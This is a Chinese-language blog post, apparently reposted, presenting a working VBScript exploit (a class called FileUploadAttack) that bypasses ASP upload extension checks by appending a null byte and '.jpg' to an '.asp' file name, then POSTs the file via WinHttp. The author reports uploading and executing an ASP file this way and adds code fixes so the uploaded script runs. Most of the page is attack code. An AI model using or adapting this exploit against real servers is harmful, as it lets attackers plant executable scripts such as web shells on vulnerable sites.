当前位置:Gxlcms > ASP > ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

时间:2021-07-01 10:21:17 帮助过:63人阅读

今天Demon 提到了这个问题,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》 。这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了InternetExplorer.Application组件,我改写了一下,用WinHttp.WinHttpRequest.5.1实现了类似的功能,关于这个组件更多的用法请参考《WinHttpRequest Object Reference》 。
代码如下:

  1. <br>Option Explicit <br><br>Function file_get_contents(filename) <br>Dim fso, f <br>Set fso = WSH.CreateObject("Scripting.FilesystemObject") <br>Set f = fso.OpenTextFile(filename, 1) <br>file_get_contents = f.ReadAll <br>f.Close <br>Set f = Nothing <br>Set fso = Nothing <br>End Function <br><br>' 代码修改自 http://www.gxlsystem.com/tips/detpg_uploadvbsie/ <br>Class FileUploadAttack <br>Private m_objWinHttp <br>Private m_strUrl <br>Private m_strFieldName <br><br>Private Sub Class_Initialize() <br>Set m_objWinHttp = WSH.CreateObject( _ <br>"WinHttp.WinHttpRequest.5.1") <br>End Sub <br><br>Private Sub Class_Terminate() <br>Set m_objWinHttp = Nothing <br>End Sub <br><br>Public Sub setUrl(url) <br>m_strUrl = url <br>End Sub <br><br>Public Sub setFieldName(name) <br>m_strFieldName = name <br>End Sub <br><br>'Infrormations In form field header. <br>Function mpFields(FieldName, FileName, ContentType) <br>Dim MPTemplate 'template For multipart header <br>MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _ <br>" filename=""{file}""" + vbCrLf + _ <br>"Content-Type: {ct}" + vbCrLf + vbCrLf <br>Dim Out <br>Out = Replace(MPTemplate, "{field}", FieldName) <br>Out = Replace(Out, "{file}", FileName) <br>mpFields = Replace(Out, "{ct}", ContentType) <br>End Function <br>'Converts OLE string To multibyte string <br>Function StringToMB(S) <br>Dim I, B <br>For I = 1 To Len(S) <br>B = B & ChrB(Asc(Mid(S, I, 1))) <br>Next <br>StringToMB = B <br>End Function <br><br>'Build multipart/form-data document with file contents And header info <br>Function BuildFormData(FileContents, Boundary, _ <br>FileName, FieldName) <br>Dim FormData, Pre, Po <br>Const ContentType = "application/upload" <br><br>'The two parts around file contents In the multipart-form data. <br>Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _ <br>FileName, ContentType) <br>Po = vbCrLf + "--" + Boundary + "--" + vbCrLf <br><br>'Build form data using recordset binary field <br>Const adLongVarBinary = 205 <br>Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset") <br>RS.Fields.Append "b", adLongVarBinary, _ <br>Len(Pre) + LenB(FileContents) + Len(Po) <br>RS.Open <br>RS.AddNew <br>Dim LenData <br>'Convert Pre string value To a binary data <br>LenData = Len(Pre) <br>RS("b").AppendChunk (StringToMB(Pre) & ChrB(0)) <br>Pre = RS("b").GetChunk(LenData) <br>RS("b") = "" <br><br>'Convert Po string value To a binary data <br>LenData = Len(Po) <br>RS("b").AppendChunk (StringToMB(Po) & ChrB(0)) <br>Po = RS("b").GetChunk(LenData) <br>RS("b") = "" <br><br>'Join Pre + FileContents + Po binary data <br>RS("b").AppendChunk (Pre) <br>RS("b").AppendChunk (FileContents) <br>RS("b").AppendChunk (Po) <br>RS.Update <br>FormData = RS("b") <br>RS.Close <br>BuildFormData = FormData <br>End Function <br><br><br>Public Function sendFile(fileName) <br>Const Boundary = "---------------------------0123456789012" <br>m_objWinHttp.Open "POST", m_strUrl, False <br>m_objWinHttp.setRequestHeader "Content-Type", _ <br>"multipart/form-data; boundary=" + Boundary <br><br>Dim FileContents, FormData <br>'Get source file As a binary data. <br>FileContents = file_get_contents(FileName) <br><br>' 下面构造了恶意文件扩展名Chr(0) & .jpg <br>'Build multipart/form-data document <br>FormData = BuildFormData(FileContents, Boundary, _ <br>FileName & Chr(0) & ".jpg", m_strFieldName) <br><br>m_objWinHttp.send FormData <br>sendFile = m_objWinHttp.Status <br>End Function <br><br>Public Function getText() <br>getText = m_objWinHttp.ResponseText <br>End Function <br>End Class <br><br>Function VBMain() <br>VBMain = 0 <br><br>Dim fileUpload <br>Set fileUpload = New FileUploadAttack <br>' 需要修改下面内容为合适内容 <br>' 上传url <br>fileUpload.setUrl "http://localhost/upload/uploadfile.asp" <br>fileUpload.setFieldName "filepath" ' 上传表单框的name <br>' 需上传文件路径 <br>If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then <br>MsgBox "上传成功" & fileUpload.getText() <br>Else <br>MsgBox "失败" <br>End If <br>Set fileUpload = Nothing <br>End Function <br><br>Call WScript.Quit(VBMain()) <br><br>上传功能是随便在网上找的一个简单上传ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。 <br><br>测试结果是:手动上传asp,失败;利用上述攻击脚本上传asp文件,成功!在上传目录中确实是asp文件,通过浏览器URL也能访问这个asp文件,只是奇怪的是显示一片空白,我这里是IIS 7,难道是IIS版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。 <br><br>所有实验代码包,在这里upload.zip(代码BUG参考下面更新说明)下载。 <br><br>2011年12月25日更新 <br><br>根据大家反馈的上传文件变成Unicode Little Endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下GetFile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件,函数如下: <br><br><span><u></u></span> 代码如下:<pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li><br>' 将指定charset的字符串str转换为二进制 <br>Function strtobin(str, charset) <br>With WSH.CreateObject("ADODB.Stream") <br>.Type = 2 <br>.Mode = 3 <br>.Open <br>.Charset = charset <br>.WriteText str <br>.Flush <br>.Position = 0 <br>.Type = 1 <br><br>strtobin = .Read() <br>.Close <br>End With <br>End Function <br> <br>然后将上述代码的第106行改成下面这样(以ASCII读取文本): <br><br><span><u></u></span> 代码如下:<pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li><br>FileContents = strtobin(file_get_contents(FileName), "ASCII") <br> <br>这样改过后上传的ASP文件就是普通编码的文件了,然后浏览器访问这个文件,可以看到该ASP被成功解析。 <br><br>不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数: <br><br><span><u></u></span> 代码如下:<pre class="brush:php;toolbar:false layui-box layui-code-view layui-code-notepad"><ol class="layui-code-ol"><li><br>'Returns file contents As a binary data <br>Function GetFile(FileName) <br>Dim Stream: Set Stream = CreateObject("ADODB.Stream") <br>Stream.Type = 1 'Binary <br>Stream.Open <br>Stream.LoadFromFile FileName <br>GetFile = Stream.Read <br>Stream.Close <br>Set Stream = Nothing <br>End Function <br> <br>更优化的代码我就不写了,主要说明的是一个上传思路,如果大家希望得到完善的上传实现,可以参考Demon的《VBS模拟POST上传文件》 。<br>原文: //www.gxlsystem.com/article/26103.htm<p></p></li><li> </li><li> </li></ol></pre></li></ol></pre></li></ol></pre>

人气教程排行